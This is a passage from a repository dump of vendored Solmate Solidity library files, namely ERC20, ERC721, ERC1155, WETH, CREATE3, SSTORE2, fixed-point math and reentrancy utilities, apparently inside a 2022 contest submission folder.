uint256 tokenId,
bytes memory data
) public {
token.safeTransferFrom(from, to, tokenId, data);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/users/GenericUser.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.8.0;
contract GenericUser {
function tryCall(address target, bytes memory data) public virtual returns (bool success, bytes memory returnData) {
(success, returnData) = target.call(data);
}
function call(address target, bytes memory data) public virtual returns (bytes memory returnData) {
bool success;
(success, returnData) = target.call(data);
if (!success) {
if (returnData.length > 0) {
assembly {
let returnDataSize := mload(returnData)
revert(add(32, returnData), returnDataSize)
}
} else {
revert("REVERTED_WITHOUT_A_MESSAGE");
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/tokens/ERC1155.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Minimalist and gas efficient standard ERC1155 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)
abstract contract ERC1155 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event TransferSingle(
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 amount
);
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] amounts
);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
/*///////////////////////////////////////////////////////////////
ERC1155 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => mapping(uint256 => uint256)) public balanceOf;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
METADATA LOGIC
//////////////////////////////////////////////////////////////*/
function uri(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC1155 ACTIONS
//////////////////////////////////////////////////////////////*/
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
require(msg.sender == from || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED");
balanceOf[from][id] -= amount;
balanceOf[to][id] += amount;
emit TransferSingle(msg.sender, from, to, id, amount);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155Received(msg.sender, from, id, amount, data) ==
ERC1155TokenReceiver.onERC1155Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
require(msg.sender == from || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED");
for (uint256 i = 0; i < idsLength; ) {
uint256 id = ids[i];
uint256 amount = amounts[i];
balanceOf[from][id] -= amount;
balanceOf[to][id] += amount;
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, from, to, ids, amounts);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, from, ids, amounts, data) ==
ERC1155TokenReceiver.onERC1155BatchReceived.selector,
"UNSAFE_RECIPIENT"
);
}
function balanceOfBatch(address[] memory owners, uint256[] memory ids)
public
view
virtual
returns (uint256[] memory balances)
{
uint256 ownersLength = owners.length; // Saves MLOADs.
require(ownersLength == ids.length, "LENGTH_MISMATCH");
balances = new uint256[](owners.length);
// Unchecked because the only math done is incrementing
// the array index counter which cannot possibly overflow.
unchecked {
for (uint256 i = 0; i < ownersLength; i++) {
balances[i] = balanceOf[owners[i]][ids[i]];
}
}
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
return
interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155
interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal {
balanceOf[to][id] += amount;
emit TransferSingle(msg.sender, address(0), to, id, amount);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155Received(msg.sender, address(0), id, amount, data) ==
ERC1155TokenReceiver.onERC1155Received.selector,
"UNSAFE_RECIPIENT"
);
}
function _batchMint(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < idsLength; ) {
balanceOf[to][ids[i]] += amounts[i];
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, address(0), to, ids, amounts);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, address(0), ids, amounts, data) ==
ERC1155TokenReceiver.onERC1155BatchReceived.selector,
"UNSAFE_RECIPIENT"
);
}
function _batchBurn(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < idsLength; ) {
balanceOf[from][ids[i]] -= amounts[i];
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, from, address(0), ids, amounts);
}
function _burn(
address from,
uint256 id,
uint256 amount
) internal {
balanceOf[from][id] -= amount;
emit TransferSingle(msg.sender, from, address(0), id, amount);
}
}
/// @notice A generic interface for a contract which properly accepts ERC1155 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)
interface ERC1155TokenReceiver {
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 amount,
bytes calldata data
) external returns (bytes4);
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/tokens/ERC20.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/tokens/ERC721.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
address owner = ownerOf[id];
require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_AUTHORIZED");
getApproved[id] = spender;
emit Approval(owner, spender, id);
}
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
require(from == ownerOf[id], "WRONG_FROM");
require(to != address(0), "INVALID_RECIPIENT");
require(
msg.sender == from || msg.sender == getApproved[id] || isApprovedForAll[from][msg.sender],
"NOT_AUTHORIZED"
);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
balanceOf[from]--;
balanceOf[to]++;
}
delete getApproved[id];
ownerOf[id] = to;
emit Transfer(from, to, id);
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
return
interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721
interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
require(to != address(0), "INVALID_RECIPIENT");
require(ownerOf[id] == address(0), "ALREADY_MINTED");
// Counter overflow is incredibly unrealistic.
unchecked {
totalSupply++;
balanceOf[to]++;
}
ownerOf[id] = to;
emit Transfer(address(0), to, id);
}
function _burn(uint256 id) internal virtual {
address owner = ownerOf[id];
require(ownerOf[id] != address(0), "NOT_MINTED");
// Ownership check above ensures no underflow.
unchecked {
totalSupply--;
balanceOf[owner]--;
}
delete ownerOf[id];
emit Transfer(owner, address(0), id);
}
/*///////////////////////////////////////////////////////////////
INTERNAL SAFE MINT LOGIC
//////////////////////////////////////////////////////////////*/
function _safeMint(address to, uint256 id) internal virtual {
_mint(to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function _safeMint(
address to,
uint256 id,
bytes memory data
) internal virtual {
_mint(to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/tokens/WETH.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "./ERC20.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
/// @notice Minimalist and modern Wrapped Ether implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/WETH.sol)
/// @author Inspired by WETH9 (https://github.com/dapphub/ds-weth/blob/master/src/weth9.sol)
contract WETH is ERC20("Wrapped Ether", "WETH", 18) {
using SafeTransferLib for address;
event Deposit(address indexed from, uint256 amount);
event Withdrawal(address indexed to, uint256 amount);
function deposit() public payable virtual {
_mint(msg.sender, msg.value);
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint256 amount) public virtual {
_burn(msg.sender, amount);
emit Withdrawal(msg.sender, amount);
msg.sender.safeTransferETH(amount);
}
receive() external payable virtual {
deposit();
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/Bytes32AddressLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Library for converting between addresses and bytes32 values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/Bytes32AddressLib.sol)
library Bytes32AddressLib {
function fromLast20Bytes(bytes32 bytesValue) internal pure returns (address) {
return address(uint160(uint256(bytesValue)));
}
function fillLast12Bytes(address addressValue) internal pure returns (bytes32) {
return bytes32(bytes20(addressValue));
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/CREATE3.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Bytes32AddressLib} from "./Bytes32AddressLib.sol";
/// @notice Deploy to deterministic addresses without an initcode factor.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/CREATE3.sol)
/// @author Modified from 0xSequence (https://github.com/0xSequence/create3/blob/master/contracts/Create3.sol)
library CREATE3 {
using Bytes32AddressLib for bytes32;
//--------------------------------------------------------------------------------//
// Opcode | Opcode + Arguments | Description | Stack View //
//--------------------------------------------------------------------------------//
// 0x36 | 0x36 | CALLDATASIZE | size //
// 0x3d | 0x3d | RETURNDATASIZE | 0 size //
// 0x3d | 0x3d | RETURNDATASIZE | 0 0 size //
// 0x37 | 0x37 | CALLDATACOPY | //
// 0x36 | 0x36 | CALLDATASIZE | size //
// 0x3d | 0x3d | RETURNDATASIZE | 0 size //
// 0x34 | 0x34 | CALLVALUE | value 0 size //
// 0xf0 | 0xf0 | CREATE | newContract //
//--------------------------------------------------------------------------------//
// Opcode | Opcode + Arguments | Description | Stack View //
//--------------------------------------------------------------------------------//
// 0x67 | 0x67XXXXXXXXXXXXXXXX | PUSH8 bytecode | bytecode //
// 0x3d | 0x3d | RETURNDATASIZE | 0 bytecode //
// 0x52 | 0x52 | MSTORE | //
// 0x60 | 0x6008 | PUSH1 08 | 8 //
// 0x60 | 0x6018 | PUSH1 18 | 24 8 //
// 0xf3 | 0xf3 | RETURN | //
//--------------------------------------------------------------------------------//
bytes internal constant PROXY_BYTECODE = hex"67_36_3d_3d_37_36_3d_34_f0_3d_52_60_08_60_18_f3";
bytes32 internal constant PROXY_BYTECODE_HASH = keccak256(PROXY_BYTECODE);
function deploy(
bytes32 salt,
bytes memory creationCode,
uint256 value
) internal returns (address deployed) {
bytes memory proxyChildBytecode = PROXY_BYTECODE;
address proxy;
assembly {
// Deploy a new contract with our pre-made bytecode via CREATE2.
// We start 32 bytes into the code to avoid copying the byte length.
proxy := create2(0, add(proxyChildBytecode, 32), mload(proxyChildBytecode), salt)
}
require(proxy != address(0), "DEPLOYMENT_FAILED");
deployed = getDeployed(salt);
(bool success, ) = proxy.call{value: value}(creationCode);
require(success && deployed.code.length != 0, "INITIALIZATION_FAILED");
}
function getDeployed(bytes32 salt) internal view returns (address) {
address proxy = keccak256(
abi.encodePacked(
// Prefix:
bytes1(0xFF),
// Creator:
address(this),
// Salt:
salt,
// Bytecode hash:
PROXY_BYTECODE_HASH
)
).fromLast20Bytes();
return
keccak256(
abi.encodePacked(
// 0xd6 = 0xc0 (short RLP prefix) + 0x16 (length of: 0x94 ++ proxy ++ 0x01)
// 0x94 = 0x80 + 0x14 (0x14 = the length of an address, 20 bytes, in hex)
hex"d6_94",
proxy,
hex"01" // Nonce of the proxy contract (1)
)
).fromLast20Bytes();
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/FixedPointMathLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Arithmetic library with operations for fixed-point numbers.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol)
library FixedPointMathLib {
/*///////////////////////////////////////////////////////////////
COMMON BASE UNITS
//////////////////////////////////////////////////////////////*/
uint256 internal constant YAD = 1e8;
uint256 internal constant WAD = 1e18;
uint256 internal constant RAY = 1e27;
uint256 internal constant RAD = 1e45;
/*///////////////////////////////////////////////////////////////
FIXED POINT OPERATIONS
//////////////////////////////////////////////////////////////*/
function fmul(
uint256 x,
uint256 y,
uint256 baseUnit
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(x == 0 || (x * y) / x == y)
if iszero(or(iszero(x), eq(div(z, x), y))) {
revert(0, 0)
}
// If baseUnit is zero this will return zero instead of reverting.
z := div(z, baseUnit)
}
}
function fdiv(
uint256 x,
uint256 y,
uint256 baseUnit
) internal pure returns (uint256 z) {
assembly {
// Store x * baseUnit in z for now.
z := mul(x, baseUnit)
// Equivalent to require(y != 0 && (x == 0 || (x * baseUnit) / x == baseUnit))
if iszero(and(iszero(iszero(y)), or(iszero(x), eq(div(z, x), baseUnit)))) {
revert(0, 0)
}
// We ensure y is not zero above, so there is never division by zero here.
z := div(z, y)
}
}
function fpow(
uint256 x,
uint256 n,
uint256 baseUnit
) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 {
// 0 ** 0 = 1
z := baseUnit
}
default {
// 0 ** n = 0
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
// If n is even, store baseUnit in z for now.
z := baseUnit
}
default {
// If n is odd, store x in z for now.
z := x
}
// Shifting right by 1 is like dividing by 2.
let half := shr(1, baseUnit)
for {
// Shift n right by 1 before looping to halve it.
n := shr(1, n)
} n {
// Shift n right by 1 each iteration to halve it.
n := shr(1, n)
} {
// Revert immediately if x ** 2 would overflow.
// Equivalent to iszero(eq(div(xx, x), x)) here.
if shr(128, x) {
revert(0, 0)
}
// Store x squared.
let xx := mul(x, x)
// Round to the nearest number.
let xxRound := add(xx, half)
// Revert if xx + half overflowed.
if lt(xxRound, xx) {
revert(0, 0)
}
// Set x to scaled xxRound.
x := div(xxRound, baseUnit)
// If n is even:
if mod(n, 2) {
// Compute z * x.
let zx := mul(z, x)
// If z * x overflowed:
if iszero(eq(div(zx, x), z)) {
// Revert if x is non-zero.
if iszero(iszero(x)) {
revert(0, 0)
}
}
// Round to the nearest number.
let zxRound := add(zx, half)
// Revert if zx + half overflowed.
if lt(zxRound, zx) {
revert(0, 0)
}
// Return properly scaled zxRound.
z := div(zxRound, baseUnit)
}
}
}
}
}
/*///////////////////////////////////////////////////////////////
GENERAL NUMBER UTILITIES
//////////////////////////////////////////////////////////////*/
function sqrt(uint256 x) internal pure returns (uint256 z) {
assembly {
// Start off with z at 1.
z := 1
// Used below to help find a nearby power of 2.
let y := x
// Find the lowest power of 2 that is at least sqrt(x).
if iszero(lt(y, 0x100000000000000000000000000000000)) {
y := shr(128, y) // Like dividing by 2 ** 128.
z := shl(64, z)
}
if iszero(lt(y, 0x10000000000000000)) {
y := shr(64, y) // Like dividing by 2 ** 64.
z := shl(32, z)
}
if iszero(lt(y, 0x100000000)) {
y := shr(32, y) // Like dividing by 2 ** 32.
z := shl(16, z)
}
if iszero(lt(y, 0x10000)) {
y := shr(16, y) // Like dividing by 2 ** 16.
z := shl(8, z)
}
if iszero(lt(y, 0x100)) {
y := shr(8, y) // Like dividing by 2 ** 8.
z := shl(4, z)
}
if iszero(lt(y, 0x10)) {
y := shr(4, y) // Like dividing by 2 ** 4.
z := shl(2, z)
}
if iszero(lt(y, 0x8)) {
// Equivalent to 2 ** z.
z := shl(1, z)
}
// Shifting right by 1 is like dividing by 2.
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
// Compute a rounded down version of z.
let zRoundDown := div(x, z)
// If zRoundDown is smaller, use it.
if lt(zRoundDown, z) {
z := zRoundDown
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/ReentrancyGuard.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Gas optimized reentrancy protection for smart contracts.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
uint256 private reentrancyStatus = 1;
modifier nonReentrant() {
require(reentrancyStatus == 1, "REENTRANCY");
reentrancyStatus = 2;
_;
reentrancyStatus = 1;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/SSTORE2.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Read and write to persistent storage at a fraction of the cost.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SSTORE2.sol)
/// @author Modified from 0xSequence (https://github.com/0xSequence/sstore2/blob/master/contracts/SSTORE2.sol)
library SSTORE2 {
uint256 internal constant DATA_OFFSET = 1; // We skip the first byte as it's a STOP opcode to ensure the contract can't be called.
/*///////////////////////////////////////////////////////////////
WRITE LOGIC
//////////////////////////////////////////////////////////////*/
function write(bytes memory data) internal returns (address pointer) {
// Prefix the bytecode with a STOP opcode to ensure it cannot be called.
bytes memory runtimeCode = abi.encodePacked(hex"00", data);
bytes memory creationCode = abi.encodePacked(
//---------------------------------------------------------------------------------------------------------------//
// Opcode | Opcode + Arguments | Description | Stack View //
//---------------------------------------------------------------------------------------------------------------//
// 0x60 | 0x600B | PUSH1 11 | codeOffset //
// 0x59 | 0x59 | MSIZE | 0 codeOffset //
// 0x81 | 0x81 | DUP2 | codeOffset 0 codeOffset //
// 0x38 | 0x38 | CODESIZE | codeSize codeOffset 0 codeOffset //
// 0x03 | 0x03 | SUB | (codeSize - codeOffset) 0 codeOffset //
// 0x80 | 0x80 | DUP | (codeSize - codeOffset) (codeSize - codeOffset) 0 codeOffset //
// 0x92 | 0x92 | SWAP3 | codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset) //
// 0x59 | 0x59 | MSIZE | 0 codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset) //
// 0x39 | 0x39 | CODECOPY | 0 (codeSize - codeOffset) //
// 0xf3 | 0xf3 | RETURN | //
//---------------------------------------------------------------------------------------------------------------//
hex"60_0B_59_81_38_03_80_92_59_39_F3", // Returns all code in the contract except for the first 11 (0B in hex) bytes.
runtimeCode // The bytecode we want the contract to have after deployment. Capped at 1 byte less than the code size limit.
);
assembly {
// Deploy a new contract with the generated creation code.
// We start 32 bytes into the code to avoid copying the byte length.
pointer := create(0, add(creationCode, 32), mload(creationCode))
}
require(pointer != address(0), "DEPLOYMENT_FAILED");
}
/*///////////////////////////////////////////////////////////////
READ LOGIC
//////////////////////////////////////////////////////////////*/
function read(address pointer) internal view returns (bytes memory) {
return readBytecode(pointer, DATA_OFFSET, pointer.code.length - DATA_OFFSET);
}
function read(address pointer, uint256 start) internal view returns (bytes memory) {
start += DATA_OFFSET;
return readBytecode(pointer, start, pointer.code.length - start);
}
function read(
address pointer,
uint256 start,
uint256 end
) internal view returns (bytes memory) {
start += DATA_OFFSET;
end += DATA_OFFSET;
require(pointer.code.length >= end, "OUT_OF_BOUNDS");
return readBytecode(pointer, start, end - start);
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function readBytecode(
address pointer,
uint256 start,
uint256 size
) private view returns (bytes memory data) {
assembly {
// Get a pointer to some free memory.
data := mload(0x40)
// Update the free memory pointer to prevent overriding our data.
// We use and(x, not(31)) as a cheaper equivalent to sub(x, mod(x, 32)).
// Adding 31 to size and running the result through the logic above ensures
// the memory pointer remains word-aligned, following the Solidity convention.
mstore(0x40, add(data, and(add(add(size, 32), 31), not(31))))
// Store the size of the data in the first 32 byte chunk of free memory.
mstore(data, size)
// Copy the code into memory right after the 32 bytes we used to store the size.
extcodecopy(pointer, add(data, 32), start, size)
}
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/SafeCastLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Safe unsigned integer casting library that reverts on overflow.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeCastLib.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol)
library SafeCastLib {
function safeCastTo248(uint256 x) internal pure returns (uint248 y) {
require(x <= type(uint248).max);
y = uint248(x);
}
function safeCastTo128(uint256 x) internal pure returns (uint128 y) {
require(x <= type(uint128).max);
y = uint128(x);
}
function safeCastTo96(uint256 x) internal pure returns (uint96 y) {
require(x <= type(uint96).max);
y = uint96(x);
}
function safeCastTo64(uint256 x) internal pure returns (uint64 y) {
require(x <= type(uint64).max);
y = uint64(x);
}
function safeCastTo32(uint256 x) internal pure returns (uint32 y) {
require(x <= type(uint32).max);
y = uint32(x);
}
}
================================================
